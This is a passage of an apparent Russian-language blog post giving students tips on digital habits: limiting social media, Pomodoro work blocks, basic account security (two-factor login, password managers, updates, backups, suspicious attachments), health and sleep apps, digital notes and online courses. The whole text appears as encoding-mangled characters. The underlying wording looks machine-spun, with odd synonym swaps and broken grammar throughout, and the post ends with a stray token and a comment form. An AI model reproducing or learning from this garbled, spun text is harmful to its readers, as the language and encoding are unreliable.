ВыдСляйтС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ «ΠΎΠΊΠ½Π°»: Π²Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ Π²ΠΎ Π’ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅/Telegram/Instagram Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡƒΡ‚Ρ€ΠΎΠΌ послС ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚Ρ€Π°ΠΏΠ΅Π·Ρ‹ ΠΈΠ»ΠΈ Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ послС ΡƒΡ‡Π΅Π±Ρ‹; Π²Π½Π΅ этих ΠΎΡ‚Ρ€Π΅Π·ΠΊΠΎΠ² Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΡƒΠ±Π΅Ρ€ΠΈΡ‚Π΅ ΠΈΠΊΠΎΠ½ΠΊΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ со стартового экрана смартфона!

Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‡Π°Ρ‚-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Ρ€Π°Π·ΡƒΠΌΠ½ΠΎ: Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π³Ρ€ΡƒΠΏΠΏΠΎΠ²Ρ‹Π΅ обсуТдСния Π²ΠΎ врСмя обучСния/Ρ€Π°Π±ΠΎΡ‚Ρ‹; Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½Ρ‹Π΅ сообщСния сразу послС Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΏΠΎ Pomodoro-ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ!

Π—Π°Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ «Π½Π΅Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π° Π·Π° столом»: это способствуСт ΡƒΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ СстСствСнноС взаимодСйствиС Π²ΠΎ врСмя ΠΏΡ€ΠΈΠ΅ΠΌΠ° ΠΏΠΈΡ‰ΠΈ с приятСлями ΠΈΠ»ΠΈ родитСлями!

ОсознанноС восприятиС ΠΊ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ сСтям ΠΏΠΎΠ½ΠΈΠΆΠ°Π΅Ρ‚ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ трСвоТности ΠΎΡ‚ постоянного сравнСния сСбя с ΠΏΡ€ΠΎΡ‡ΠΈΠΌΠΈ людьми ΠΈΠ· ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°.

Цифровая Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ продуктивности

МногиС Π½Π΅ помнят ΠΎ ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π²Π΅, Ρ‡Ρ‚ΠΎ ΡΠΎΡ…Ρ€Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ нСпосрСдствСнно влияСт Π½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ! ΠŸΠΎΡ‚Π΅Ρ€Ρ доступа ΠΊ ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΌΡƒ ящику ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π²ΠΈΠ½ΡƒΡ‚ΡŒ ΠΊΡ€Π°ΠΉΠ½ΠΈΠΉ срок Ρ€Π°Π±ΠΎΡ‚Ρ‹; Π²Π·Π»ΠΎΠΌ сообщСний Π³Ρ€ΠΎΠ·ΠΈΡ‚ ΠΏΠΎΡ‚Π΅Ρ€Π΅ΠΉ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… свСдСний… Π›Π΅Π³ΠΊΠΈΠ΅ дСйствия ΡΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ сСбя ΠΎΡ‚ нСприятностСй:

Π‘Π°Π·ΠΎΠ²Ρ‹Π΅ Π½ΠΎΡ€ΠΌΡ‹ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ Π·Π°Ρ‰ΠΈΡ‚Ρ‹

  1. Двухэтапная идСнтификация
    Π’ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π΅Π΅ Π²ΠΎ всСх Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… сСрвисах!
  2. УстойчивыС ΠΏΠ°Ρ€ΠΎΠ»ΠΈ
    Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Bitwarden ΠΈΠ»ΠΈ KeePassXC; Π½ΠΈΠΊΠΎΠ³Π΄Π° примСняйтС снова Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ для ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΡ…ΡΡ сайтов!
  3. ΠŸΠ΅Ρ€ΠΈΠΎΠ΄ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ модСрнизация софта
    НС ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΠΉΡ‚Π΅ обновлСния систСмы бСзопасности вашСго смартфона/Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠ°!
  4. БэкапноС ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…
    Π₯Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ критичСски Π²Π°ΠΆΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Π² ΠΏΠ°Ρ€Π°Ρ… локациях: Π½Π° мСстС + ΠΎΠ±Π»Π°Ρ‡Π½Ρ‹ΠΉ сСрвис!
  5. Π’Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²
    НС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ нСпонятныС влоТСния Π΄Π°ΠΆΠ΅ Ссли ΠΈΠΌΠ΅ΠΉΠ» ΠΏΡ€ΠΈΡˆΠ»ΠΎ якобы ΠΎΡ‚ приятСля!

Π‘Π»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅ этих ΠΏΡ€Π°Π²ΠΈΠ» сохраняСт ΠΊΡƒΡ‡Ρƒ спокойствия ΠΏΡ€ΠΈ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ форс-ΠΌΠ°ΠΆΠΎΡ€Π°Ρ…!

Π’Π΅Ρ…Π½ΠΈΠΊΠΈ для благополучия Ρ‚Π΅Π»Π° ΠΈ Ρ€Π°Π·ΡƒΠΌΠ°

ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° Π±Π΅Π· внимания ΠΎ своСм самочувствии! ΠΡ‹Π½Π΅ΡˆΠ½ΠΈΠ΅ дСвайсы Π² состоянии Π°ΡΡΠΈΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ тСлСсным состояниСм Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ ΠΊΠ°ΠΊ Π·Π° ΠΏΠ΅Ρ€Π΅Ρ‡Π½Π΅ΠΌ Π·Π°Π΄Π°Ρ‡:

НуТныС Π³Π°Π΄ΠΆΠ΅Ρ‚Ρ‹ ΠΈ Π°ΠΏΠΏΡ‹

  • ЀитнСс-браслСты: Xiaomi Mi Band позволяСт ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΡ‚ΡŒ числом шагов Π·Π° дСнь; Apple Watch Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ упраТнСния ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ часок!
  • ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ-ΠΌΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΠΈ: Insight Timer содСрТит Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½Ρ‹Π΅ аудиосСссии успокоСния Π½Π°ΠΊΠ°Π½ΡƒΠ½Π΅ экзамСнами; БпокойствиС ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ Π² сон послС тяТСлого дня!
  • Π‘Ρ‡Π΅Ρ‚Ρ‡ΠΈΠΊΠΈ сна: Sleep Cycle Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ сна ΠΏΠΎ Π°ΡƒΠ΄ΠΈΠΎ дыхания Ρ‡Π΅Ρ€Π΅Π· ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π½Ρ‹ΠΉ Π²Ρ…ΠΎΠ΄ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°!
  • Π£ΠΌΠ½Ρ‹Π΅ вСсы: Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΡƒ вСса прямо Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ HealthKit/Google Fit!

БистСматичСскоС эксплуатация ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… устройств Ρ€Π°Π·Π²ΠΈΠ²Π°Π΅Ρ‚ Π½Π°Π²Ρ‹ΠΊ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° собой Π΄Π°ΠΆΠ΅ Π² условиях интСнсивной ΡƒΡ‡Π΅Π±Ρ‹!

Π”Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ со ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ: ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ

Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ просвСщСниС нСльзя ΠΎΡΠΌΡ‹ΡΠ»ΠΈΡ‚ΡŒ Π±Π΅Π· Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… конспСктов! Π¦ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ записи ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Π΅Π΅ ΠΏΠ΅Ρ‡Π°Ρ‚Π½Ρ‹Ρ… записных ΠΊΠ½ΠΈΠΆΠ΅ΠΊ: ΠΈΡ… ΠΏΡ€ΠΎΡ‰Π΅ ΡΠΈΡΡ‚Π΅ΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ; ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ изобраТСния, схСмы, Ρ„ΠΎΡ€ΠΌΡƒΠ»; просто Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½ΡƒΡŽ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Π΅Π· поиск.

Подсказки ΠΏΠΎ созданию Π·Π°ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΎΠ½Π»Π°ΠΉΠ½

  1. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Markdown-записи (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Обсидиан): Ρ‚Π°ΠΊ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ ΠΎΡ„ΠΎΡ€ΠΌΠ»ΡΡ‚ΡŒ тСкст!
  2. Для Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ инструмСнты Notion ΠΈΠ»ΠΈ ΠΆΠ΅ MindMeister;
  3. ВыполняйтС пСриодичСский Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠ΅ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ записСй.
  4. Π”Π΅Π»ΠΈΡ‚Π΅ конспСкты ΠΏΠΎ дисциплинам/аспСктам;
  5. ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°ΠΉΡ‚Π΅ краской ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ опрСдСлСния Ρ„ΠΎΡ€ΠΌΡƒΠ» срока мСроприятий!

Π’Π°ΠΊΠΎΠΉ способ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΡƒ ΠΊ тСстам мСньшС Π²ΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ, Π° Π½Π°Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€Π΅Π΄Π΅Π»ΡŒΠ½ΠΎ быстрым!

Π­Π»Π°ΡΡ‚ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ сознания посрСдством Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΡƒΡ‡Π΅Π±Ρ‹

Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΊΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ доступ ΠΊ Π²Π΅Π΄ΡƒΡ‰ΠΈΠΌ ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌ глобуса прямо ΠΈΠ· ΠΆΠΈΠ»ΠΈΡ‰Π°! НапримСр, Coursera, Stepik, Skillbox, GeekBrains ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ занятия ΠΏΠΎ самым Ρ€Π°Π·Π½Ρ‹ΠΌ направлСниям – ΠΎΡ‚ IT Π΄ΠΎ психотСрапии… Π“Π»Π°Π²Π½ΠΎΠ΅ – ΠΎΠ²Π»Π°Π΄Π΅Ρ‚ΡŒ ΠΎΡ‚Π±ΠΈΡ€Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚:

Как Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΈΠ²Π½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½?

– Π’ΠΎΡ‡Π½ΠΎ ΠΈΠ·Π»Π°Π³Π°ΠΉΡ‚Π΅ Π·Π°Π΄Π°Ρ‡Ρƒ ΡƒΡ‡Π΅Π±Ρ‹ (“ΠŸΠΎΠ½ΡΡ‚ΡŒ Π±Π°Π·Ρƒ Python Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° мСсяца”);
– Π‘ΠΎΠ·Π΄Π°Π²Π°ΠΉΡ‚Π΅ конспСкты сразу ΠΏΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ пСрСгляда занятий;
– Π‘Π΄Π°Π²Π°ΠΉΡ‚Π΅ экзамСны, закрСпляя ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ;
– ΠžΠ±Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ с людьми с ΠΎΠ±Ρ‰ΠΈΠΌΠΈ интСрСсами Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΡƒΠΌΡ‹ Discord-Π³Ρ€ΡƒΠΏΠΏΡ‹ Telegram-Ρ‡Π°Ρ‚Ρ‹ курсов!

Π’Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄Π°ΡŽΡ‚ шанс ΠΎΡΠ²Π°ΠΈΠ²Π°Ρ‚ΡŒ соврСмСнныС умСния быстро – основноС ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ±ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π°Ρ‡Π°Ρ‚ΠΎΠ΅ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π°.

Π’Π΄ΡƒΠΌΡ‡ΠΈΠ²ΠΎΠ΅ Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ дСвайсы ΠΈΠ· источника ΠΎΡ‚Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠΉ Π² Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… ассистСнтов! ОсновноС – Π½Π΅ Π·Π°Π±Ρ‹Π²Π°Ρ‚ΡŒ ΠΎ балансС ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ½Π»Π°ΠΉΠ½-Тизнью, Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ встрСчами, Π·Π°Π±ΠΎΡ‚ΠΎΠΉ ΠΎ сСбС, Π³Ρ€Π°ΠΌΠΎΡ‚Π½ΠΎΠΉ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ… ΠŸΡƒΡΡ‚ΡŒ ваши Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² интСрСсах вас самих, Π° Π½Π΅ ΠŸΠ ΠžΠ’Π˜Π’ тСбя!

Nx_17bc5749dcc8

Leave a Reply

Your email address will not be published. Required fields are marked *